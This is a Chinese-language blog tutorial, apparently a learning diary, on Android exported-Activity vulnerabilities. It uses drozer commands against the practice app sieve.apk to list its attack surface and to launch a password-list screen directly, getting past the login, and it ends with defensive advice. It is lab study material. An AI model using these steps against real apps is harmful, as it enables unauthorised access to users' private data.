序言

参考文章:

https://bbs.kanxue.com/thread-269211.htm

Activity的漏洞种类

Activity安全场景和危害

Activity的组件导出，一般会导致的问题：Android Browser Intent Scheme URLs的攻击手段 (1) 拒绝服务攻击：通过Intent给Activity传输畸形数据使得程序崩溃从而影响用户体验 (2) 越权攻击：Activity用户界面绕过会造成用户信息窃取、Activity界面被劫持产生欺诈等安全事件 (3) 组件导出导致钓鱼欺诈 (4) 隐式启动intent包含敏感数据

越权绕过

原理介绍

在Android系统中，Activity默认是不导出的，如果设置了exported = “true” 这样的关键值或者是添加了这样的属性

<activity 
    android:label="@string/title_activity_pwlist" 
    android:name="com.mwr.example.sieve.PWList" 
    android:exported="true" //可能危险的地方
    android:finishOnTaskLaunch="true" 
    android:clearTaskOnLaunch="true" 
    android:excludeFromRecents="true"
/>

那么此时Activity是导出的，就会导致越权绕过或者是泄露敏感信息等安全风险。

例如： (1)一些敏感的界面需要用户输入密码才能查看，如果没有对调用此Activity的组件进行权限验证，就会造成验证的越权问题，导致攻击者不需要密码就可以打开 (2)通过Intent给Activity传输畸形数据使得程序崩溃拒绝服务 (3)对Activity界面进行劫持

样本 sieve.apk ==> com.mwr.example.sieve

附件: 链接: https://pan.baidu.com/s/1uvZZxTMsCQ1sz74FnqFzTg?pwd=feav 提取码: feav

启动 drozer, 查询目标应用的攻击面

dz> run app.package.attacksurface com.mwr.example.sieve
Attempting to run shell module
Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable

再具体查询暴露activity的信息

dz> run app.activity.info -a  com.mwr.example.sieve
Attempting to run shell module
Package: com.mwr.example.sieve
  com.mwr.example.sieve.FileSelectActivity
    Permission: null
  com.mwr.example.sieve.MainLoginActivity
    Permission: null
  com.mwr.example.sieve.PWList
    Permission: null

说明我们可以通过强制跳转其他两个界面，来实现越权绕过

其中com.mwr.example.sieve.MainLoginActivity是启动的activity

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
Attempting to run shell module

我们尝试启动sieve.apk的com.mwr.example.sieve.PWList

说明我们成功的实现了越权绕过,

ps: 我点击save, but显示 can not connect the service.

防护策略：

(1)私有Activity不应被其他应用启动相对是安全的，创建activity时：设置exported属性为false (2)公开暴露的Activity组件，虽然可以被任意应用启动，创建Activity：设置export属性为true，但谨慎处理接收的Intent，有返回数据不包含敏感信息，不应发送敏感信息，收到返回数据谨慎处理

© Den9Qux1ang

Android: Activity漏洞挖掘学习-序言－Day1

TOC

序言

越权绕过

Related Posts